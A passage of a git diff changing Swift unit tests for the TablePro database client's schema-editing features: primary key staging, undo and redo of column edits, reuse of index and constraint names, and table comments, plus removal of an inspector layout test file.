+        let manager = StructureChangeManager()
+        manager.loadSchema(
+            tableName: "orders",
+            columns: [
+                ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
+                ColumnInfo(name: "email", dataType: "VARCHAR(255)", isNullable: true, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
+            ],
+            indexes: [IndexInfo(name: "PRIMARY", columns: ["id"], isUnique: true, isPrimary: true, type: "BTREE")],
+            foreignKeys: [],
+            primaryKey: ["id"]
+        )
+        return manager
+    }
+
+    private func column(_ name: String, in manager: StructureChangeManager) -> EditableColumnDefinition {
+        manager.workingColumns.first { $0.name == name }!
+    }
+
+    @Test("Making a column part of the key stages the key change the drivers write, not a column change")
+    func primaryKeyCellStagesKeyChange() {
+        let manager = loadedManager()
+        var email = column("email", in: manager)
+        email.isPrimaryKey = true
+        manager.updateColumn(id: email.id, with: email)
+
+        let changes = manager.getChangesArray()
+        #expect(changes.contains(.modifyPrimaryKey(old: ["id"], new: ["id", "email"])))
+        #expect(!changes.contains { if case .modifyColumn = $0 { true } else { false } })
+        #expect(manager.workingPrimaryKey == ["id", "email"])
+    }
+
+    @Test("Taking the only key column out stages an empty key")
+    func removingKeyColumnStagesEmptyKey() {
+        let manager = loadedManager()
+        var id = column("id", in: manager)
+        id.isPrimaryKey = false
+        manager.updateColumn(id: id.id, with: id)
+
+        #expect(manager.getChangesArray().contains(.modifyPrimaryKey(old: ["id"], new: [])))
+    }
+
+    @Test("One undo reverts the key change and the column's flag together")
+    func primaryKeyChangeUndoesAsOneStep() {
+        let manager = loadedManager()
+        var email = column("email", in: manager)
+        email.isPrimaryKey = true
+        manager.updateColumn(id: email.id, with: email)
+
+        manager.undo()
+
+        #expect(manager.workingPrimaryKey == ["id"])
+        #expect(column("email", in: manager).isPrimaryKey == false)
+        #expect(!manager.hasChanges)
+    }
+
+    @Test("A key toggle together with another edit keeps the column change")
+    func keyToggleKeepsOtherColumnEdits() {
+        let manager = loadedManager()
+        var email = column("email", in: manager)
+        email.isNullable = false
+        manager.updateColumn(id: email.id, with: email)
+        email.isPrimaryKey = true
+        manager.updateColumn(id: email.id, with: email)
+
+        let changes = manager.getChangesArray()
+        #expect(changes.contains { if case .modifyColumn = $0 { true } else { false } })
+        #expect(changes.contains { if case .modifyPrimaryKey = $0 { true } else { false } })
+    }
+
+    @Test("Undo Delete on an edited column stages its edit again")
+    func undoDeleteRestagesEdit() {
+        let manager = loadedManager()
+        var email = column("email", in: manager)
+        email.dataType = "TEXT"
+        manager.updateColumn(id: email.id, with: email)
+        manager.deleteColumn(id: email.id)
+
+        manager.undoDelete(section: .columns, id: email.id)
+
+        guard case .modifyColumn(_, let new)? = manager.pendingChanges[.column(email.id)] else {
+            Issue.record("the edit made before the delete is no longer staged")
+            return
+        }
+        #expect(new.dataType == "TEXT")
+    }
+
+    @Test("Undoing a delete through the undo stack stages the earlier edit again")
+    func undoStackDeleteRestagesEdit() {
+        let manager = loadedManager()
+        var email = column("email", in: manager)
+        email.dataType = "TEXT"
+        manager.updateColumn(id: email.id, with: email)
+        manager.deleteColumn(id: email.id)
+
+        manager.undo()
+
+        guard case .modifyColumn? = manager.pendingChanges[.column(email.id)] else {
+            Issue.record("the edit made before the delete is no longer staged")
+            return
+        }
+    }
+
+    @Test("The Edit menu title names the change it undoes")
+    func undoMenuTitleNamesTheChange() {
+        let manager = loadedManager()
+        manager.deleteColumn(id: column("email", in: manager).id)
+
+        #expect(manager.undoMenuItemTitle.contains(String(localized: "Delete Column")))
+    }
+
+    @Test("Redoing a key toggle stages only the key change")
+    func redoKeepsKeyOnlyChangeOffColumns() {
+        let manager = loadedManager()
+        var id = column("id", in: manager)
+        id.isPrimaryKey = false
+        manager.updateColumn(id: id.id, with: id)
+        manager.undo()
+        manager.redo()
+
+        let changes = manager.getChangesArray()
+        #expect(changes.contains(.modifyPrimaryKey(old: ["id"], new: [])))
+        #expect(!changes.contains { if case .modifyColumn = $0 { true } else { false } })
+    }
+
+    @Test("Renaming a column the staged key names renames it in the key")
+    func renameFollowsStagedKey() {
+        let manager = loadedManager()
+        var email = column("email", in: manager)
+        email.isPrimaryKey = true
+        manager.updateColumn(id: email.id, with: email)
+        email.name = "address"
+        manager.updateColumn(id: email.id, with: email)
+
+        #expect(manager.workingPrimaryKey == ["id", "address"])
+        #expect(manager.getChangesArray().contains(.modifyPrimaryKey(old: ["id"], new: ["id", "address"])))
+        #expect(manager.canCommit)
+    }
+
+    @Test("A rename leaves an unchanged key alone")
+    func renameWithoutStagedKeyStagesNoKeyChange() {
+        let manager = loadedManager()
+        var id = column("id", in: manager)
+        id.name = "order_id"
+        manager.updateColumn(id: id.id, with: id)
+
+        #expect(!manager.getChangesArray().contains { if case .modifyPrimaryKey = $0 { true } else { false } })
+    }
+
+    @Test("Removing a column the staged key names takes it out of the key")
+    func deletingStagedKeyMemberUpdatesKey() {
+        let manager = loadedManager()
+        manager.addNewColumn()
+        var added = manager.workingColumns.last!
+        added.name = "tenant_id"
+        added.dataType = "INT"
+        manager.updateColumn(id: added.id, with: added)
+        added.isPrimaryKey = true
+        manager.updateColumn(id: added.id, with: added)
+        #expect(manager.workingPrimaryKey == ["id", "tenant_id"])
+
+        manager.deleteColumn(id: added.id)
+
+        #expect(manager.workingPrimaryKey == ["id"])
+        #expect(!manager.getChangesArray().contains { if case .modifyPrimaryKey = $0 { true } else { false } })
+    }
+
+    @Test("Undo Delete on a column the staged key named puts it back in the key")
+    func undoDeleteRestoresKeyMembership() {
+        let manager = loadedManager()
+        var email = column("email", in: manager)
+        email.isNullable = false
+        manager.updateColumn(id: email.id, with: email)
+        email.isPrimaryKey = true
+        manager.updateColumn(id: email.id, with: email)
+        manager.deleteColumn(id: email.id)
+        #expect(manager.workingPrimaryKey == ["id"])
+
+        manager.undoDelete(section: .columns, id: email.id)
+
+        #expect(manager.workingPrimaryKey == ["id", "email"])
+        #expect(manager.getChangesArray().contains(.modifyPrimaryKey(old: ["id"], new: ["id", "email"])))
+    }
+
+    @Test("A key change after a rename names the renamed column")
+    func keyChangeAfterRenameUsesNewNames() {
+        let manager = loadedManager()
+        var id = column("id", in: manager)
+        id.name = "order_id"
+        manager.updateColumn(id: id.id, with: id)
+        var email = column("email", in: manager)
+        email.isPrimaryKey = true
+        manager.updateColumn(id: email.id, with: email)
+
+        #expect(manager.workingPrimaryKey == ["order_id", "email"])
+        #expect(manager.canCommit)
+    }
+
+    @Test("Undo Delete puts a key column back where it was in the key")
+    func undoDeleteKeepsKeyOrder() {
+        let manager = StructureChangeManager()
+        manager.loadSchema(
+            tableName: "t",
+            columns: ["a", "b", "c"].map {
+                ColumnInfo(name: $0, dataType: "INT", isNullable: false, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
+            },
+            indexes: [],
+            foreignKeys: [],
+            primaryKey: []
+        )
+        for name in ["a", "b", "c"] {
+            var column = manager.workingColumns.first { $0.name == name }!
+            column.isPrimaryKey = true
+            manager.updateColumn(id: column.id, with: column)
+        }
+        let a = manager.workingColumns.first { $0.name == "a" }!
+        manager.deleteColumn(id: a.id)
+        #expect(manager.workingPrimaryKey == ["b", "c"])
+
+        manager.undoDelete(section: .columns, id: a.id)
+
+        #expect(manager.workingPrimaryKey == ["a", "b", "c"])
+    }
+
+    @Test("Deleting the old key column, then marking another, stages a key that names only surviving columns")
+    func deleteThenMarkStagesSurvivingKey() {
+        let manager = loadedManager()
+        manager.deleteColumn(id: column("id", in: manager).id)
+        var email = column("email", in: manager)
+        email.isPrimaryKey = true
+        manager.updateColumn(id: email.id, with: email)
+
+        #expect(manager.workingPrimaryKey == ["email"])
+        #expect(manager.getChangesArray().contains(.modifyPrimaryKey(old: ["id"], new: ["email"])))
+        #expect(manager.canCommit)
+    }
+
+    @Test("Renaming a key column without changing the key stages no key change")
+    func renameOfKeyColumnStagesNoKeyChange() {
+        let manager = loadedManager()
+        var id = column("id", in: manager)
+        id.name = "order_id"
+        manager.updateColumn(id: id.id, with: id)
+        manager.deleteColumn(id: id.id)
+        manager.undoDelete(section: .columns, id: id.id)
+
+        #expect(!manager.getChangesArray().contains { if case .modifyPrimaryKey = $0 { true } else { false } })
+        #expect(manager.workingPrimaryKey == ["order_id"])
+    }
+
+    @Test("Deleting the key column alone stages no key change, as the database drops it with the column")
+    func deletingKeyColumnAloneStagesNoKeyChange() {
+        let manager = loadedManager()
+        manager.deleteColumn(id: column("id", in: manager).id)
+
+        #expect(!manager.getChangesArray().contains { if case .modifyPrimaryKey = $0 { true } else { false } })
+    }
+}
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableCommentTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableCommentTests.swift
index f393fe706c..a368e99759 100644
--- a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableCommentTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableCommentTests.swift
@@ -36,21 +36,6 @@ struct StructureChangeManagerTableCommentTests {
         }
     }
 
-    private func structureAdapter(_ manager: StructureChangeManager, on tab: StructureTab) -> StructureGridAdapter {
-        let adapter = StructureGridAdapter(
-            structureChangeManager: manager,
-            connection: TestFixtures.makeConnection(type: .postgresql),
-            tableName: "orders",
-            databaseName: "shop",
-            schemaName: nil,
-            objectKind: .table,
-            isSessionBound: false
-        )
-        adapter.store.switchSubTab(to: tab)
-        adapter.refresh()
-        return adapter
-    }
-
     private func rename(_ manager: StructureChangeManager, at row: Int, to name: String) {
         var column = manager.workingColumns[row]
         column.name = name
@@ -196,31 +181,11 @@ struct StructureChangeManagerTableCommentTests {
         #expect(manager.canUndo)
     }
 
-    @Test("Undo on the DDL sub-tab reaches the comment step and nothing behind it")
-    func undoOnDDLReachesOnlyTheComment() {
+    @Test("The Edit menu names the comment while its run is open")
+    func undoTitleNamesTheOpenRun() {
         let manager = makeManager()
-        rename(manager, at: 1, to: "amount")
         manager.stageTableComment("Orders")
-        let adapter = structureAdapter(manager, on: .ddl)
-
-        adapter.undo()
-        #expect(manager.tableComment.text == "Customer orders")
-
-        adapter.undo()
-        #expect(manager.workingColumns[1].name == "amount")
-
-        adapter.redo()
-        #expect(manager.tableComment.text == "Orders")
-    }
-
-    @Test("Undo on the Triggers sub-tab leaves a column edit alone")
-    func undoOnTriggersSkipsColumnEdits() {
-        let manager = makeManager()
-        rename(manager, at: 1, to: "amount")
-        let adapter = structureAdapter(manager, on: .triggers)
-
-        adapter.undo()
 
-        #expect(manager.workingColumns[1].name == "amount")
+        #expect(manager.undoMenuItemTitle.contains(String(localized: "Edit Comment")))
     }
 }
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift
index 80422ba881..f78a37302b 100644
--- a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift
@@ -345,16 +345,4 @@ struct StructureChangeManagerTableOptionsTests {
         #expect(defaultOnly.validationErrors.isEmpty)
         #expect(defaultOnly.canCommit)
     }
-
-    @Test("The Options sub-tab has no rows to mark")
-    func optionsTabHasNoRowState() {
-        let manager = makeManager()
-        manager.deleteColumn(id: manager.workingColumns[1].id)
-
-        let state = manager.deleteInsertState(for: 1, tab: .options)
-        #expect(!state.isDeleted)
-        #expect(!state.isInserted)
-        manager.undoDelete(for: .options, at: 1)
-        #expect(manager.hasChanges)
-    }
 }
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerUndoTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerUndoTests.swift
index f6e4007a47..cbb89741c5 100644
--- a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerUndoTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerUndoTests.swift
@@ -244,10 +244,7 @@ struct StructureChangeManagerUndoTests {
         #expect(manager.workingColumns.contains(where: { $0.id == newCol.id }))
     }
 
-    /// The other half of the grouping contract, and the one with no test before this. The structure
-    /// grid deletes a multi-row selection by calling `deleteColumn` once per row, so without an
-    /// explicit group a five-row delete would take five undos. `performAsOneUndoStep` is what the
-    /// two grid delegates wrap those loops in.
+    // The grid deletes a multi-row selection one `deleteColumn` per row; without a group, five rows took five undos.
     @Test("A batch wrapped in performAsOneUndoStep undoes as one step")
     @MainActor func batchedDeletesUndoTogether() {
         let manager = makeManager()
@@ -271,6 +268,39 @@ struct StructureChangeManagerUndoTests {
         #expect(manager.canUndo == false)
     }
 
+    @Test("Duplicating several rows is one undo step")
+    @MainActor func duplicatedRowsUndoTogether() {
+        let manager = makeManager()
+        loadSampleSchema(manager)
+        let names = manager.workingColumns.map(\.name)
+
+        StructureGridEdits.duplicate(sourceIndices: [2, 1], tab: .columns, manager: manager)
+        #expect(manager.workingColumns.count == names.count + 2)
+        #expect(manager.workingColumns.suffix(2).map(\.name) == ["name", "email"])
+
+        manager.undo()
+
+        #expect(manager.workingColumns.map(\.name) == names)
+        #expect(manager.hasChanges == false)
+        #expect(manager.canUndo == false)
+    }
+
+    @Test("Duplicating a primary index stages a plain copy, and one undo removes it")
+    @MainActor func duplicatedPrimaryIndexIsNotPrimary() throws {
+        let manager = makeManager()
+        loadSampleSchema(manager)
+
+        StructureGridEdits.duplicate(sourceIndices: [0], tab: .indexes, manager: manager)
+        let copy = try #require(manager.workingIndexes.last)
+        #expect(manager.workingIndexes.count == 2)
+        #expect(!copy.isPrimary)
+
+        manager.undo()
+
+        #expect(manager.workingIndexes.count == 1)
+        #expect(manager.hasChanges == false)
+    }
+
     // MARK: - Discard Clears Undo
 
     @Test("Discard changes clears undo stack")
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureChangeNameReuseTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureChangeNameReuseTests.swift
index d4e02f007c..63343c06b1 100644
--- a/apple/TableProTests/Core/SchemaTracking/StructureChangeNameReuseTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/StructureChangeNameReuseTests.swift
@@ -7,12 +7,8 @@ import Foundation
 @testable import TablePro
 import Testing
 
-/// A name belongs to the rows the table keeps after the save.
-///
-/// The save drops every index and check constraint before it adds or renames one, so a name a row
-/// is being deleted under is free by the time anything takes it. The duplicate check still counted
-/// the deleted row, and "delete idx_a, add a new idx_a" was refused as a duplicate of the row on
-/// its way out.
+// The save drops indexes and check constraints before it adds one, so a deleted row's name is free; the duplicate
+// check still counted it and refused "delete idx_a, add a new idx_a".
 @MainActor
 struct StructureChangeNameReuseTests {
     private func manager(
@@ -69,8 +65,8 @@ struct StructureChangeNameReuseTests {
 
     // MARK: - Indexes
 
-    /// Measured on SQLite 3.54, PostgreSQL 17.11 and MariaDB 13.0.2: `CREATE INDEX idx_a` fails while
-    /// `idx_a` exists, and succeeds straight after `DROP INDEX idx_a` in the same save.
+    // Measured on SQLite 3.54, PostgreSQL 17.11 and MariaDB 13.0.2: `CREATE INDEX idx_a` fails while
+    // `idx_a` exists, and succeeds straight after `DROP INDEX idx_a` in the same save.
     @Test("Deleting an index frees its name for a new one in the same save")
     func deletingAnIndexFreesItsNameForANewOne() throws {
         let manager = manager(indexes: [loadedIndex("idx_a", on: "body")])
@@ -93,8 +89,8 @@ struct StructureChangeNameReuseTests {
         #expect(manager.validationErrors.isEmpty)
     }
 
-    /// The row menu's **Duplicate** stages a copy under the same name, which is the everyday way to
-    /// build a replacement before the original goes.
+    // The row menu's **Duplicate** stages a copy under the same name, which is the everyday way to
+    // build a replacement before the original goes.
     @Test("Duplicating an index and then deleting the original saves")
     func duplicatingAnIndexThenDeletingTheOriginalSaves() throws {
         let manager = manager(indexes: [loadedIndex("idx_a", on: "body")])
@@ -116,7 +112,7 @@ struct StructureChangeNameReuseTests {
         manager.deleteIndex(id: original.id)
         #expect(manager.canCommit)
 
-        manager.undoDelete(for: .indexes, at: 0)
+        manager.undoDelete(section: .indexes, id: original.id)
         #expect(!manager.canCommit)
         #expect(manager.validationErrors.count == 2)
         #expect(errors(in: manager) == ["Duplicate index name: idx_a"])
@@ -156,8 +152,8 @@ struct StructureChangeNameReuseTests {
 
     // MARK: - Check constraints
 
-    /// Measured on SQLite 3.54 and PostgreSQL 17.11: `DROP CONSTRAINT c` then `ADD CONSTRAINT c`
-    /// saves, and `ADD CONSTRAINT c` alone fails while `c` exists.
+    // Measured on SQLite 3.54 and PostgreSQL 17.11: `DROP CONSTRAINT c` then `ADD CONSTRAINT c`
+    // saves, and `ADD CONSTRAINT c` alone fails while `c` exists.
     @Test("Deleting a check constraint frees its name for a new one in the same save")
     func deletingACheckConstraintFreesItsName() throws {
         let manager = manager(checkConstraints: [CheckConstraintInfo(name: "c", expression: "a > 0")])
@@ -192,8 +188,8 @@ struct StructureChangeNameReuseTests {
         #expect(errors(in: manager) == ["Duplicate constraint name: c"])
     }
 
-    /// Measured on SQLite 3.54: `ADD CONSTRAINT "C"` beside `c` fails with "constraint C already
-    /// exists", and MariaDB 13.0.2 refuses it with ERROR 1826.
+    // Measured on SQLite 3.54: `ADD CONSTRAINT "C"` beside `c` fails with "constraint C already
+    // exists", and MariaDB 13.0.2 refuses it with ERROR 1826.
     @Test("A check constraint added beside one whose name differs only in case is a duplicate")
     func addingAConstraintUnderACaseVariantOfAKeptNameIsADuplicate() {
         let manager = manager(checkConstraints: [CheckConstraintInfo(name: "c", expression: "a > 0")])
@@ -205,8 +201,8 @@ struct StructureChangeNameReuseTests {
 
     // MARK: - Two loaded check constraints under one name
 
-    /// SQLite 3.54 accepts `CONSTRAINT c CHECK (a > 0), CONSTRAINT c CHECK (a < 10)` in one
-    /// `CREATE TABLE`, and the Structure tab lists both.
+    // SQLite 3.54 accepts `CONSTRAINT c CHECK (a > 0), CONSTRAINT c CHECK (a < 10)` in one
+    // `CREATE TABLE`, and the Structure tab lists both.
     private func tableWithTwoConstraintsNamedC(secondName: String = "c") -> StructureChangeManager {
         manager(checkConstraints: [
             CheckConstraintInfo(name: "c", expression: "a > 0"),
@@ -225,8 +221,8 @@ struct StructureChangeNameReuseTests {
         #expect(manager.validationErrors.isEmpty)
     }
 
-    /// Measured on SQLite 3.54: `DROP CONSTRAINT c` removes the first `c` in the table's text,
-    /// whichever row was picked.
+    // Measured on SQLite 3.54: `DROP CONSTRAINT c` removes the first `c` in the table's text,
+    // whichever row was picked.
     @Test("Deleting one of two check constraints under one name is refused")
     func droppingOneOfTwoSameNamedConstraintsIsRefused() throws {
         let manager = tableWithTwoConstraintsNamedC()
@@ -261,7 +257,7 @@ struct StructureChangeNameReuseTests {
         #expect(manager.validationErrors.count == 1)
     }
 
-    /// Measured on SQLite 3.54: `DROP CONSTRAINT "C"` on a table holding `c` and `C` drops `c`.
+    // Measured on SQLite 3.54: `DROP CONSTRAINT "C"` on a table holding `c` and `C` drops `c`.
     @Test("Check constraint names that differ only in case are one name")
     func caseVariantConstraintNamesAreShared() throws {
         let manager = tableWithTwoConstraintsNamedC(secondName: "C")
@@ -284,8 +280,8 @@ struct StructureChangeNameReuseTests {
         #expect(manager.validationErrors.isEmpty)
     }
 
-    /// Measured on SQLite 3.54: after `DROP CONSTRAINT c` twice and `ADD CONSTRAINT c`, the add of
-    /// `C` fails with "constraint C already exists".
+    // Measured on SQLite 3.54: after `DROP CONSTRAINT c` twice and `ADD CONSTRAINT c`, the add of
+    // `C` fails with "constraint C already exists".
     @Test("Replacing both check constraints under a shared name with c and C is a duplicate")
     func replacingBothWithCaseVariantsIsADuplicate() {
         let manager = tableWithTwoConstraintsNamedC()
@@ -299,8 +295,8 @@ struct StructureChangeNameReuseTests {
         #expect(errors(in: manager) == ["Duplicate constraint name: c", "Duplicate constraint name: C"])
     }
 
-    /// SQLite has no `RENAME CONSTRAINT`, so each rename is a drop by the shared name and an add of
-    /// the row's own definition. Whichever `c` each drop takes, both go and both come back right.
+    // SQLite has no `RENAME CONSTRAINT`, so each rename is a drop by the shared name and an add of
+    // the row's own definition. Whichever `c` each drop takes, both go and both come back right.
     @Test("Renaming every check constraint under a shared name saves")
     func renamingBothSameNamedConstraintsSaves() throws {
         let manager = tableWithTwoConstraintsNamedC()
@@ -314,8 +310,8 @@ struct StructureChangeNameReuseTests {
         #expect(manager.validationErrors.isEmpty)
     }
 
-    /// Measured on SQLite 3.54: `DROP CONSTRAINT c; DROP CONSTRAINT c; ADD CONSTRAINT c CHECK (a < 20)`
-    /// leaves exactly the rewritten constraint.
+    // Measured on SQLite 3.54: `DROP CONSTRAINT c; DROP CONSTRAINT c; ADD CONSTRAINT c CHECK (a < 20)`
+    // leaves exactly the rewritten constraint.
     @Test("Deleting one check constraint under a shared name and rewriting the other saves")
     func deletingOneAndRewritingTheOtherSaves() throws {
         let manager = tableWithTwoConstraintsNamedC()
@@ -328,8 +324,8 @@ struct StructureChangeNameReuseTests {
         #expect(manager.validationErrors.isEmpty)
     }
 
-    /// Both would be added back as `c`, and the second `ADD CONSTRAINT c` fails on SQLite 3.54 with
-    /// "constraint c already exists".
+    // Both would be added back as `c`, and the second `ADD CONSTRAINT c` fails on SQLite 3.54 with
+    // "constraint c already exists".
     @Test("Rewriting both check constraints under their shared name is a duplicate")
     func rewritingBothUnderTheSharedNameIsADuplicate() throws {
         let manager = tableWithTwoConstraintsNamedC()
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift
index c5937e68a0..550dafb911 100644
--- a/apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift
@@ -164,12 +164,4 @@ struct StructureEditingSessionTableOptionsTests {
 
         #expect(session.tableOptionsCatalog == .loaded(Self.catalog))
     }
-
-    @Test("The Options sub-tab shows no grid")
-    func optionsTabHasNoGrid() {
-        let session = makeSession()
-        session.selectedTab = .options
-
-        #expect(session.activeGridModel == nil)
-    }
 }
diff --git a/apple/TableProTests/Core/SchemaTracking/TableCommentStatementTests.swift b/apple/TableProTests/Core/SchemaTracking/TableCommentStatementTests.swift
index 5fa16cdebe..9ac049ba09 100644
--- a/apple/TableProTests/Core/SchemaTracking/TableCommentStatementTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/TableCommentStatementTests.swift
@@ -117,7 +117,7 @@ struct TableCommentStatementTests {
             _ = try generator.generate(changes: [.modifyTableComment(old: nil, new: "Orders")])
             Issue.record("Expected the save to be refused")
         } catch {
-            #expect(error.localizedDescription.contains("Change comment on table"))
+            #expect(error.localizedDescription.contains(String(localized: "Change the table comment")))
         }
     }
 
diff --git a/apple/TableProTests/Helpers/TestFixtures.swift b/apple/TableProTests/Helpers/TestFixtures.swift
index d36bec3889..c982ab1466 100644
--- a/apple/TableProTests/Helpers/TestFixtures.swift
+++ b/apple/TableProTests/Helpers/TestFixtures.swift
@@ -276,3 +276,12 @@ enum TestFixtures {
         )
     }
 }
+
+@MainActor
+extension StructureEditingSession {
+    // What a finished load leaves behind, for a test that stages straight into the change manager.
+    func markBaselineAdopted() {
+        hasBaseline = true
+        editor.isAwaitingBaseline = false
+    }
+}
diff --git a/apple/TableProTests/Models/InspectorFieldLayoutTests.swift b/apple/TableProTests/Models/InspectorFieldLayoutTests.swift
deleted file mode 100644
index 99cdc123a1..0000000000
--- a/apple/TableProTests/Models/InspectorFieldLayoutTests.swift
+++ /dev/null
@@ -1,126 +0,0 @@
-//
-//  InspectorFieldLayoutTests.swift
-//  TableProTests
-//
-
-import Foundation
-@testable import TablePro
-import Testing
-
-@MainActor
-struct InspectorFieldLayoutTests {
-    private static let everyKind: [FieldEditorKind] = [
-        .singleLine,
-        .boolean,
-        .schemaText,
-        .typePicker,
-        .enumPicker(values: ["a", "b"]),
-        .setPicker(values: ["a", "b"]),
-        .arrayElements(element: .scalar, values: []),
-        .arrayElements(element: .json, values: []),
-        .valuePicker(options: []),
-        .multiLine,
-        .json,
-        .phpSerialized,
-        .blobHex,
-        .image(.raster("public.png")),
-        .geometry(GeometryFieldDescriptor(textEditor: .multiLine, source: .spatialColumn)),
-        .geometry(GeometryFieldDescriptor(textEditor: .json, source: .jsonColumn)),
-        .geometry(GeometryFieldDescriptor(textEditor: .hex, source: .binary))
-    ]
-
-    /// A column name is user data of no bounded length, so no label lane can hold every one of them
-    /// and a lane wide enough to try takes the width the value needs. Measured at the pane's 270pt
-    /// minimum, a side-by-side data row truncates the name *and* the value; stacking shows both.
-    @Test("Every data field stacks, whatever editor it resolves to")
-    func dataFieldsAlwaysStack() {
-        for kind in Self.everyKind {
-            #expect(
-                InspectorFieldLayout.resolve(for: kind, isSchemaField: false) == .stacked,
-                "\(kind) should stack on a data row"
-            )
-        }
-    }
-
-    /// A schema label comes from a closed authored vocabulary whose widest member renders at 66.4pt,
-    /// so the lane holds it and the row stays one line high.
-    @Test("A schema scalar takes one line")
-    func schemaScalarsAreInline() {
-        #expect(InspectorFieldLayout.resolve(for: .singleLine, isSchemaField: true) == .inline)
-        #expect(InspectorFieldLayout.resolve(for: .boolean, isSchemaField: true) == .inline)
-        #expect(InspectorFieldLayout.resolve(for: .schemaText, isSchemaField: true) == .inline)
-        #expect(InspectorFieldLayout.resolve(for: .typePicker, isSchemaField: true) == .inline)
-        #expect(InspectorFieldLayout.resolve(for: .enumPicker(values: ["a"]), isSchemaField: true) == .inline)
-        #expect(InspectorFieldLayout.resolve(for: .setPicker(values: ["a"]), isSchemaField: true) == .inline)
-        #expect(
-            InspectorFieldLayout.resolve(for: .arrayElements(element: .json, values: []), isSchemaField: true)
-                == .inline
-        )
-    }
-
-    /// The editors that need the pane's width still take it, on a schema row as on a data row.
-    @Test("A schema editor that needs room spans the width")
-    func schemaLargeEditorsAreStacked() {
-        #expect(InspectorFieldLayout.resolve(for: .multiLine, isSchemaField: true) == .stacked)
-        #expect(InspectorFieldLayout.resolve(for: .json, isSchemaField: true) == .stacked)
-        #expect(InspectorFieldLayout.resolve(for: .phpSerialized, isSchemaField: true) == .stacked)
-        #expect(InspectorFieldLayout.resolve(for: .blobHex, isSchemaField: true) == .stacked)
-        #expect(InspectorFieldLayout.resolve(for: .image(.raster("public.png")), isSchemaField: true) == .stacked)
-    }
-
-    /// A schema row never resolves to a geometry field, and the switch still has to place it: a map
-    /// needs the pane's width wherever it is shown.
-    @Test("A geometry field spans the width on either kind of row")
-    func geometryFieldsAreStacked() {
-        let kinds: [FieldEditorKind] = [
-            .geometry(GeometryFieldDescriptor(textEditor: .multiLine, source: .spatialColumn)),
-            .geometry(GeometryFieldDescriptor(textEditor: .json, source: .jsonColumn)),
-            .geometry(GeometryFieldDescriptor(textEditor: .hex, source: .binary))
-        ]
-        for kind in kinds {
-            #expect(InspectorFieldLayout.resolve(for: kind, isSchemaField: false) == .stacked)
-            #expect(InspectorFieldLayout.resolve(for: kind, isSchemaField: true) == .stacked)
-        }
-    }
-
-    @Test("A geometry value reaches the stacked shape through its editor")
-    func aGeometryValueStacksThroughItsEditor() {
-        let kind = FieldEditorResolver.resolve(
-            for: .spatial(rawType: "POINT"),
-            isLongText: false,
-            originalValue: "POINT(1 2)"
-        )
-        #expect(kind == .geometry(GeometryFieldDescriptor(textEditor: .multiLine, source: .spatialColumn)))
-        #expect(InspectorFieldLayout.resolve(for: kind, isSchemaField: false) == .stacked)
-    }
-
-    /// `.enumPicker` is the kind for a data row's ENUM column *and* for a structure row's dropdown
-    /// (On Delete, Unique, Nullable), so the editor kind alone cannot say which shape a row takes.
-    /// Resolving on the kind by itself is what put a structure dropdown and an ENUM value in the
-    /// same geometry.
-    @Test("One editor kind resolves differently by provenance")
-    func provenanceDecidesWhereTheKindIsShared() {
-        let dropdown = FieldEditorKind.enumPicker(values: ["CASCADE", "RESTRICT"])
-        #expect(InspectorFieldLayout.resolve(for: dropdown, isSchemaField: true) == .inline)
-        #expect(InspectorFieldLayout.resolve(for: dropdown, isSchemaField: false) == .stacked)
-    }
-
-    /// A long value still reaches its own editor through `FieldEditorResolver`; the layout no longer
-    /// asks the value a second time, so the two can never drift apart.
-    @Test("A long value resolves to the multi-line editor")
-    func aLongValueBecomesMultiLineThroughItsEditor() {
-        let long = String(repeating: "x", count: FieldEditorResolver.multiLineValueThreshold + 1)
-        let kind = FieldEditorResolver.resolve(for: .text(rawType: "TEXT"), isLongText: false, originalValue: long)
-        #expect(kind == .multiLine)
-        #expect(InspectorFieldLayout.resolve(for: kind, isSchemaField: false) == .stacked)
-    }
-
-    /// A short data value gets the same shape as a long one. Choosing per row from the value's own
-    /// length would reflow a field from one shape to the other while the user typed into it.
-    @Test("A short data value keeps the same shape as a long one")
-    func aShortValueKeepsTheStackedShape() {
-        let kind = FieldEditorResolver.resolve(for: .text(rawType: "TEXT"), isLongText: false, originalValue: "ok")
-        #expect(kind == .singleLine)
-        #expect(InspectorFieldLayout.resolve(for: kind, isSchemaField: false) == .stacked)
-    }
-}
diff --git a/apple/TableProTests/Models/InspectorSubjectTests.swift b/apple/TableProTests/Models/InspectorSubjectTests.swift
index 252a8ed4b3..e922c364a1 100644
--- a/apple/TableProTests/Models/InspectorSubjectTests.swift
+++ b/apple/TableProTests/Models/InspectorSubjectTests.swift
@@ -19,7 +19,7 @@ struct InspectorSubjectTests {
         #expect(subject.subtitle?.contains("500") == true)
     }
 
-    /// A result of several thousand rows reads as a quantity, the way the grid's own counter does.
+    // A result of several thousand rows reads as a quantity, the way the grid's own counter does.
     @Test("A large row count is grouped")
